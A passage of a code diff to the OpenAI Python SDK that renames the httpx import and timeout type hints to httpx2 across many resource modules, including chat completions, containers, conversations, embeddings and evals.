extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = NOT_GIVEN,
+ timeout: float | httpx2.Timeout | None | NotGiven = NOT_GIVEN,
) -> Run:
"""
A helper to create a thread, start a run and then poll for a terminal state.
@@ -1729,7 +1729,7 @@ def create_and_run_stream(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = NOT_GIVEN,
+ timeout: float | httpx2.Timeout | None | NotGiven = NOT_GIVEN,
) -> AsyncAssistantStreamManager[AsyncAssistantEventHandler]:
"""Create a thread and stream the run back"""
...
@@ -1759,7 +1759,7 @@ def create_and_run_stream(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = NOT_GIVEN,
+ timeout: float | httpx2.Timeout | None | NotGiven = NOT_GIVEN,
) -> AsyncAssistantStreamManager[AsyncAssistantEventHandlerT]:
"""Create a thread and stream the run back"""
...
@@ -1788,7 +1788,7 @@ def create_and_run_stream(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = NOT_GIVEN,
+ timeout: float | httpx2.Timeout | None | NotGiven = NOT_GIVEN,
) -> (
AsyncAssistantStreamManager[AsyncAssistantEventHandler]
| AsyncAssistantStreamManager[AsyncAssistantEventHandlerT]
diff --git a/src/openai/resources/chat/completions/completions.py b/src/openai/resources/chat/completions/completions.py
index f2fda25efb..a2e36b6ad2 100644
--- a/src/openai/resources/chat/completions/completions.py
+++ b/src/openai/resources/chat/completions/completions.py
@@ -7,7 +7,7 @@
from functools import partial
from typing_extensions import Literal, overload
-import httpx
+import httpx2
import pydantic
from .... import _legacy_response
@@ -132,7 +132,7 @@ def parse(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ParsedChatCompletion[ResponseFormatT]:
"""Wrapper over the `client.chat.completions.create()` method that provides richer integrations with Python specific types
& returns a `ParsedChatCompletion` object, which is a subclass of the standard `ChatCompletion` class.
@@ -294,7 +294,7 @@ def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ChatCompletion:
"""
**Starting a new project?** We recommend trying
@@ -626,7 +626,7 @@ def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Stream[ChatCompletionChunk]:
"""
**Starting a new project?** We recommend trying
@@ -958,7 +958,7 @@ def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ChatCompletion | Stream[ChatCompletionChunk]:
"""
**Starting a new project?** We recommend trying
@@ -1290,7 +1290,7 @@ def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ChatCompletion | Stream[ChatCompletionChunk]:
validate_response_format(response_format)
return self._post(
@@ -1360,7 +1360,7 @@ def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ChatCompletion:
"""Get a stored chat completion.
@@ -1400,7 +1400,7 @@ def update(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ChatCompletion:
"""Modify a stored chat completion.
@@ -1452,7 +1452,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> SyncCursorPage[ChatCompletion]:
"""List stored Chat Completions.
@@ -1514,7 +1514,7 @@ def delete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ChatCompletionDeleted:
"""Delete a stored chat completion.
@@ -1588,7 +1588,7 @@ def stream(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ChatCompletionStreamManager[ResponseFormatT]:
"""Wrapper over the `client.chat.completions.create(stream=True)` method that provides a more granular event API
and automatic accumulation of each delta.
@@ -1743,7 +1743,7 @@ async def parse(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ParsedChatCompletion[ResponseFormatT]:
"""Wrapper over the `client.chat.completions.create()` method that provides richer integrations with Python specific types
& returns a `ParsedChatCompletion` object, which is a subclass of the standard `ChatCompletion` class.
@@ -1905,7 +1905,7 @@ async def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ChatCompletion:
"""
**Starting a new project?** We recommend trying
@@ -2237,7 +2237,7 @@ async def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> AsyncStream[ChatCompletionChunk]:
"""
**Starting a new project?** We recommend trying
@@ -2569,7 +2569,7 @@ async def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ChatCompletion | AsyncStream[ChatCompletionChunk]:
"""
**Starting a new project?** We recommend trying
@@ -2901,7 +2901,7 @@ async def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ChatCompletion | AsyncStream[ChatCompletionChunk]:
validate_response_format(response_format)
return await self._post(
@@ -2971,7 +2971,7 @@ async def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ChatCompletion:
"""Get a stored chat completion.
@@ -3011,7 +3011,7 @@ async def update(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ChatCompletion:
"""Modify a stored chat completion.
@@ -3063,7 +3063,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> AsyncPaginator[ChatCompletion, AsyncCursorPage[ChatCompletion]]:
"""List stored Chat Completions.
@@ -3125,7 +3125,7 @@ async def delete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ChatCompletionDeleted:
"""Delete a stored chat completion.
@@ -3199,7 +3199,7 @@ def stream(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> AsyncChatCompletionStreamManager[ResponseFormatT]:
"""Wrapper over the `client.chat.completions.create(stream=True)` method that provides a more granular event API
and automatic accumulation of each delta.
diff --git a/src/openai/resources/chat/completions/messages.py b/src/openai/resources/chat/completions/messages.py
index e5283da4ae..a18c162dae 100644
--- a/src/openai/resources/chat/completions/messages.py
+++ b/src/openai/resources/chat/completions/messages.py
@@ -4,7 +4,7 @@
from typing_extensions import Literal
-import httpx
+import httpx2
from .... import _legacy_response
from ...._types import Body, Omit, Query, Headers, NotGiven, omit, not_given
@@ -56,7 +56,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> SyncCursorPage[ChatCompletionStoreMessage]:
"""Get the messages in a stored chat completion.
@@ -139,7 +139,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> AsyncPaginator[ChatCompletionStoreMessage, AsyncCursorPage[ChatCompletionStoreMessage]]:
"""Get the messages in a stored chat completion.
diff --git a/src/openai/resources/completions.py b/src/openai/resources/completions.py
index 09d3c63023..160732d9a0 100644
--- a/src/openai/resources/completions.py
+++ b/src/openai/resources/completions.py
@@ -5,7 +5,7 @@
from typing import Dict, Union, Iterable, Optional
from typing_extensions import Literal, overload
-import httpx
+import httpx2
from .. import _legacy_response
from ..types import completion_create_params
@@ -75,7 +75,7 @@ def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Completion:
"""
Creates a completion for the provided prompt and parameters.
@@ -233,7 +233,7 @@ def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Stream[Completion]:
"""
Creates a completion for the provided prompt and parameters.
@@ -391,7 +391,7 @@ def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Completion | Stream[Completion]:
"""
Creates a completion for the provided prompt and parameters.
@@ -549,7 +549,7 @@ def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Completion | Stream[Completion]:
return self._post(
"/completions",
@@ -642,7 +642,7 @@ async def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Completion:
"""
Creates a completion for the provided prompt and parameters.
@@ -800,7 +800,7 @@ async def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> AsyncStream[Completion]:
"""
Creates a completion for the provided prompt and parameters.
@@ -958,7 +958,7 @@ async def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Completion | AsyncStream[Completion]:
"""
Creates a completion for the provided prompt and parameters.
@@ -1116,7 +1116,7 @@ async def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Completion | AsyncStream[Completion]:
return await self._post(
"/completions",
diff --git a/src/openai/resources/containers/containers.py b/src/openai/resources/containers/containers.py
index 53da2fc4c0..f0f0c2f506 100644
--- a/src/openai/resources/containers/containers.py
+++ b/src/openai/resources/containers/containers.py
@@ -5,7 +5,7 @@
from typing import Iterable
from typing_extensions import Literal
-import httpx
+import httpx2
from ... import _legacy_response
from ...types import container_list_params, container_create_params
@@ -69,7 +69,7 @@ def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ContainerCreateResponse:
"""
Create Container
@@ -127,7 +127,7 @@ def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ContainerRetrieveResponse:
"""
Retrieve Container
@@ -167,7 +167,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> SyncCursorPage[ContainerListResponse]:
"""List Containers
@@ -226,7 +226,7 @@ def delete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> None:
"""
Delete Container
@@ -294,7 +294,7 @@ async def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ContainerCreateResponse:
"""
Create Container
@@ -352,7 +352,7 @@ async def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ContainerRetrieveResponse:
"""
Retrieve Container
@@ -392,7 +392,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> AsyncPaginator[ContainerListResponse, AsyncCursorPage[ContainerListResponse]]:
"""List Containers
@@ -451,7 +451,7 @@ async def delete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> None:
"""
Delete Container
diff --git a/src/openai/resources/containers/files/content.py b/src/openai/resources/containers/files/content.py
index 235722ac89..826aab8af5 100644
--- a/src/openai/resources/containers/files/content.py
+++ b/src/openai/resources/containers/files/content.py
@@ -2,7 +2,7 @@
from __future__ import annotations
-import httpx
+import httpx2
from .... import _legacy_response
from ...._types import Body, Query, Headers, NotGiven, not_given
@@ -50,7 +50,7 @@ def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> _legacy_response.HttpxBinaryResponseContent:
"""
Retrieve Container File Content
@@ -114,7 +114,7 @@ async def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> _legacy_response.HttpxBinaryResponseContent:
"""
Retrieve Container File Content
diff --git a/src/openai/resources/containers/files/files.py b/src/openai/resources/containers/files/files.py
index 56026a9eab..5511c443ef 100644
--- a/src/openai/resources/containers/files/files.py
+++ b/src/openai/resources/containers/files/files.py
@@ -5,7 +5,7 @@
from typing import Mapping, cast
from typing_extensions import Literal
-import httpx
+import httpx2
from .... import _legacy_response
from .content import (
@@ -67,7 +67,7 @@ def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> FileCreateResponse:
"""
Create a Container File
@@ -127,7 +127,7 @@ def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> FileRetrieveResponse:
"""
Retrieve Container File
@@ -169,7 +169,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> SyncCursorPage[FileListResponse]:
"""List Container files
@@ -228,7 +228,7 @@ def delete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> None:
"""
Delete Container File
@@ -295,7 +295,7 @@ async def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> FileCreateResponse:
"""
Create a Container File
@@ -355,7 +355,7 @@ async def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> FileRetrieveResponse:
"""
Retrieve Container File
@@ -397,7 +397,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> AsyncPaginator[FileListResponse, AsyncCursorPage[FileListResponse]]:
"""List Container files
@@ -456,7 +456,7 @@ async def delete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> None:
"""
Delete Container File
diff --git a/src/openai/resources/content_provenance_checks.py b/src/openai/resources/content_provenance_checks.py
index 4660972336..dbdc7d5b2f 100644
--- a/src/openai/resources/content_provenance_checks.py
+++ b/src/openai/resources/content_provenance_checks.py
@@ -4,7 +4,7 @@
from typing import Mapping, cast
-import httpx
+import httpx2
from .. import _legacy_response
from ..types import content_provenance_check_create_params
@@ -49,7 +49,7 @@ def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ContentProvenanceCheck:
"""
Check whether an image or audio file contains known OpenAI provenance signals.
@@ -123,7 +123,7 @@ async def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ContentProvenanceCheck:
"""
Check whether an image or audio file contains known OpenAI provenance signals.
diff --git a/src/openai/resources/conversations/conversations.py b/src/openai/resources/conversations/conversations.py
index f69e73c4c0..bc62041c9e 100644
--- a/src/openai/resources/conversations/conversations.py
+++ b/src/openai/resources/conversations/conversations.py
@@ -4,7 +4,7 @@
from typing import Iterable, Optional
-import httpx
+import httpx2
from ... import _legacy_response
from .items import (
@@ -67,7 +67,7 @@ def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Conversation:
"""
Create a conversation.
@@ -119,7 +119,7 @@ def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Conversation:
"""
Get a conversation
@@ -157,7 +157,7 @@ def update(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Conversation:
"""
Update a conversation
@@ -202,7 +202,7 @@ def delete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ConversationDeletedResource:
"""Delete a conversation.
@@ -269,7 +269,7 @@ async def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Conversation:
"""
Create a conversation.
@@ -321,7 +321,7 @@ async def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Conversation:
"""
Get a conversation
@@ -359,7 +359,7 @@ async def update(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Conversation:
"""
Update a conversation
@@ -406,7 +406,7 @@ async def delete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ConversationDeletedResource:
"""Delete a conversation.
diff --git a/src/openai/resources/conversations/items.py b/src/openai/resources/conversations/items.py
index 339c145ca3..9ae0d2a30b 100644
--- a/src/openai/resources/conversations/items.py
+++ b/src/openai/resources/conversations/items.py
@@ -5,7 +5,7 @@
from typing import Any, List, Iterable, cast
from typing_extensions import Literal
-import httpx
+import httpx2
from ... import _legacy_response
from ..._types import Body, Omit, Query, Headers, NotGiven, omit, not_given
@@ -58,7 +58,7 @@ def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ConversationItemList:
"""
Create items in a conversation with the given ID.
@@ -105,7 +105,7 @@ def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ConversationItem:
"""
Get a single item from a conversation with the given IDs.
@@ -158,7 +158,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> SyncConversationCursorPage[ConversationItem]:
"""
List all items for a conversation with the given ID.
@@ -235,7 +235,7 @@ def delete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Conversation:
"""
Delete an item from a conversation with the given IDs.
@@ -301,7 +301,7 @@ async def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ConversationItemList:
"""
Create items in a conversation with the given ID.
@@ -348,7 +348,7 @@ async def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ConversationItem:
"""
Get a single item from a conversation with the given IDs.
@@ -401,7 +401,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> AsyncPaginator[ConversationItem, AsyncConversationCursorPage[ConversationItem]]:
"""
List all items for a conversation with the given ID.
@@ -478,7 +478,7 @@ async def delete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Conversation:
"""
Delete an item from a conversation with the given IDs.
diff --git a/src/openai/resources/embeddings.py b/src/openai/resources/embeddings.py
index 146d5531f6..5b5a018de5 100644
--- a/src/openai/resources/embeddings.py
+++ b/src/openai/resources/embeddings.py
@@ -7,7 +7,7 @@
from typing import Union, Iterable, cast
from typing_extensions import Literal
-import httpx
+import httpx2
from .. import _legacy_response
from ..types import embedding_create_params
@@ -61,7 +61,7 @@ def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> CreateEmbeddingResponse:
"""
Creates an embedding vector representing the input text.
@@ -185,7 +185,7 @@ async def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> CreateEmbeddingResponse:
"""
Creates an embedding vector representing the input text.
diff --git a/src/openai/resources/evals/evals.py b/src/openai/resources/evals/evals.py
index c7843d7aff..9ebed4a1b6 100644
--- a/src/openai/resources/evals/evals.py
+++ b/src/openai/resources/evals/evals.py
@@ -5,7 +5,7 @@
from typing import Iterable, Optional
from typing_extensions import Literal
-import httpx
+import httpx2
from ... import _legacy_response
from ...types import eval_list_params, eval_create_params, eval_update_params
@@ -73,7 +73,7 @@ def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> EvalCreateResponse:
"""
Create the structure of an evaluation that can be used to test a model's
@@ -139,7 +139,7 @@ def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> EvalRetrieveResponse:
"""
Get an evaluation by ID.
@@ -178,7 +178,7 @@ def update(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> EvalUpdateResponse:
"""
Update certain properties of an evaluation.
@@ -234,7 +234,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> SyncCursorPage[EvalListResponse]:
"""
List evaluations for a project.
@@ -289,7 +289,7 @@ def delete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> EvalDeleteResponse:
"""
Delete an evaluation.
@@ -357,7 +357,7 @@ async def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> EvalCreateResponse:
"""
Create the structure of an evaluation that can be used to test a model's
@@ -423,7 +423,7 @@ async def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> EvalRetrieveResponse:
"""
Get an evaluation by ID.
@@ -462,7 +462,7 @@ async def update(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> EvalUpdateResponse:
"""
Update certain properties of an evaluation.
@@ -518,7 +518,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> AsyncPaginator[EvalListResponse, AsyncCursorPage[EvalListResponse]]:
"""
List evaluations for a project.
@@ -573,7 +573,7 @@ async def delete(
extra_headers: Headers | None = None,
